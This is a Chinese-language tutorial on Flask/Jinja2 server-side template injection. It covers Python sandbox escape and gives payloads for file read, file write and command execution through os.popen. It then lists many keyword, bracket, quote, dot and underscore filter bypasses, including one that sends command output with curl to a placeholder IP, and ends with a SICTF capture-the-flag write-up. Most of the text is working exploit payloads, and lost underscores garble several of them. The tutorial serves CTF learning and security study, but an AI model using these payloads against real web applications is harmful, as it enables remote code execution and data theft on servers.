Flash SSTI 利用与绕过
魔术方法
:::info
python沙箱逃逸还是离不开继承关系和子父类关系,在查看和使用类的继承,魔术方法起到了不可比拟的作用。
class 返回一个实例所属的类
mro 查看类继承的所有父类,直到object
subclasses() 获取一个类的子类,返回的是一个列表
bases 返回一个类直接所继承的类(元组形式)
init 类实例创建之后调用, 对当前对象的实例的一些初始化
globals 使用方式是 函数名.globals,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价
getattribute 当类被调用的时候,无条件进入此函数。
getattr 对象中不存在的属性时调用
dict 返回所有属性,包括属性,方法等
builtins 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数
无法直接使用import导入模块,不过通过魔术方法和一些内置属性可以找到很多基类和子类,有些基类和子类是存在一些引用模块的,只要我们初始化这个类,再利用__globals__调用可利用的函数,就可以进行利用。
:::
沙箱逃匿流程
1.获取object类
python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro__ 和 __bases__两种方式来创建。
mro 属性获取类的MRO(方法解析顺序),也就是继承关系。
().class.bases[0]
{}.class.bases[0]
[].class.bases[0]
‘’.class.bases[0] #python3
bases 属性可以获取上一层的继承关系,如果是多层继承则返回上一层的东西,可能有多个。
().class.mro[1]
{}.class.mro[1]
[].class.mro[1]
‘’.class.mro[1]#python3
‘’.class.mro[2]#python2
2.获取子类列表
然后通过object类的__subclasses__()方法获取所有的子类列表,查看可用的类。
().class.bases[0].subclasses()
若类中有file,考虑读写操作. (python2)
[].class.mro[1].subclasses()40.read()
[].class.mro[1].subclasses()40.write('xxx’)
(2)找到重载过的__init__类。
在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__属性。
3.文件读取
python2
?name={{‘’.class.mro[2].subclasses()40.read()}}
‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘file’.read()
?name=‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘open’.read()
python3(无file,只能用open)
?name=‘’.class.mro[1].subclasses()[80].init.globals[‘builtins’]‘open’.read()
subclasses()[数字]在不同的python版本中类的位置序号可能不同,应根据具体的python环境修改为相应类的位置序号。
4. 文件写入
python2
?name={{‘’.class.mro[2].subclasses()40.write(‘test’)}}
‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘file’.write(‘test’)
?name=‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘file’.write(‘test’)
5. 命令执行
?name={{‘’.class.mro[2].subclasses()[59].init.globals[‘linecache’].dict[‘os’].popen(‘whoami’).read()}}
?name={{‘’.class.mro[2].subclasses()[59].init.globals[‘builtins’]‘import’.popen(‘whoami’).read()}}
6.过滤绕过
过滤关键字
字符串拼接绕过
凡是以字符串形式作为参数的都可以使用拼接的形式来绕过特定关键字的检测。
?name={{‘’.class.mro[1].subclasses()[139].init.globals[‘buil’+'tins’]‘imp’+'ort’.popen(‘who’+‘ami’).read()}}
单双引号绕过
?name={{‘’[‘class’].mro[1].subclasses()[139].init.globals[‘bui’'ltins’]‘impo’'rt’.popen(‘who’‘ami’).read()}}
编码绕过
1.base64编码
python2下使用,python3没有decode方法
?name={{‘’.class.mro[1].subclasses()[139].init.globals[‘builtins’]‘X19pbXBvcnRfXw==’.decode(‘base64’).popen(‘whoami’).read()}}
2.Unicode编码绕过
?name={{‘’.class.mro[1].subclasses()[139].init.globals[‘builtins’]‘\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f’.popen(‘whoami’).read()}}
16进制编码绕过
?name={{‘’.class.mro[1].subclasses()[139].init.globals[‘builtins’]‘\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f’.popen(‘whoami’).read()}}
8进制编码绕过
?name={{‘’[‘\137\137\143\154\141\163\163\137\137’].mro[1].subclasses()[139].init.globals[‘builtins’]‘\137\137\151\155\160\157\162\164\137\137’.popen(‘whoami’).read()}}
过滤[]括号
getitem()绕过
使用getitem()方法输出序列属性中某个索引处的元素,相当于[]
?name={{‘’.class.mro[1].subclasses().getitem(139).init.globals.getitem(‘builtins’).getitem(‘import’)(‘os’).popen(‘whoami’).read()}}
点绕过
访问字典里的值有两种方法,一种是把相应的键放入方括号[]里来访问,一种就是用点.来访问。当方括号[]被过滤之后,还可以用点.的方式来访问
?name={{‘’.class.mro[1].subclasses()[139].init.globals.builtins.import(‘os’).popen(‘whoami’).read()}}
过滤引号
request对象绕过
request有两种形式,request.args和request.values,POST和GET传递的数据都可以被接收。
?name={{‘’.class.mro[1].subclasses()[139].init.globals.builtins.import(request.args.v1).popen(request.values.v2).read()}}&v1=os&v2=whoami
chr绕过
GET请求时,+号记得url编码,要不会被当作空格处理。
?name={% set chr=().class.mro[1].subclasses()[139].init.globals.builtins.chr%}{{‘’.class.mro[1].subclasses()[139].init.globals.builtins.import(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
过滤点
中括号[]绕过
?name={{‘’[‘class’][‘mro’][1]‘subclasses’[139][‘init’][‘globals’][‘builtins’]‘eval’}}
|attr()绕过
|attr()为jinja2原生函数,是一个过滤器,它只查找属性获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割.
?name={{()|attr(‘class’)|attr(‘base’)|attr(‘subclasses’)()|attr(‘getitem’)(139)|attr(‘init’)|attr(‘globals’)|attr(‘getitem’)(‘builtins’)|attr(‘getitem’)(‘eval’)(‘import(“os”).popen(“whoami”).read()’)}}
过滤_
request对象绕过
?name={{‘’[request.args.v1][request.args.v2][1]request.args.v3[139][request.args.v4][request.args.v5][request.args.v6]request.args.v7}}&v1=class&v2=mro&v3=subclasses&v4=init&v5=globals&v6=builtins&v7=eval&v8=import(“os”).popen(“whoami”).read()
过滤{{
{% if … %}1{% endif %}
使用 {% if … %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带出来,不外带的话执行结果无回显。
{% if ‘’.class.base.subclasses()[139].init.globals[‘builtins’][‘eval’](‘import(“os”).popen(“curl http://xxx.xxx.xxx.xxx:12345/?i=whoami
”).read()’) %}1{% endif %}
{%print(…)%}
{% print(‘’.class.base.subclasses()[139].init.globals[‘builtins’]‘eval’) %}
SSTI-青少年CTF
这个题目没有什么题目描述,只是说明了,题目来源:2023 SICTF,只能说更有利于查找wp吧
打开之后就是这个样子,查看源码,发现传入参数应该是SI
果不其然,应该是过滤关键字
经过fuzz测试发现应该是过滤了关键、{{ 还有 .
关键字可以使用 单双引号绕过或者字符串拼接
:::info
实例:[‘builtins’]
[‘buil’+'tins’]
[‘bui’'ltins’]
:::
{{ 可以使用 {%print(…)%} 或者 {% if … %}1{% endif %}
注意:使用 {% if … %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带出来,不外带的话执行结果无回显。
. 可以使用 [] 绕过
:::info
实例:.class
[‘class’]
:::
1.还是先看看全部的子类
?SI={%print(“”[‘cla’'ss’][‘bas’'es’][0]‘subc’'lasses’)%}
2.直接利用子类模块 <class ‘os._wrap_close’>
3.?SI={%print(“”[‘cla’'ss’][‘bas’'es’][0]‘subc’'lasses’[132][‘in’'it’])%} 查看是否已经承载,只要不出现wrapper ,就是是被重载过的。
4.然后就可以使用全局变量中的popen的函数方法
?SI={%print(“”[‘cla’'ss’][‘bas’'es’][0]‘subc’'lasses’[132][‘in’'it’][‘glob’'als’][‘pop’‘en’](‘ls /’).read())%}
4.查看f1ag 文件 ?SI={%print(“”[‘cla’'ss’][‘bas’'es’][0]‘subc’'lasses’[132][‘in’'it’][‘glob’'als’][‘pop’‘en’](‘cat /f1ag’).read())%}
就这样,啾咪!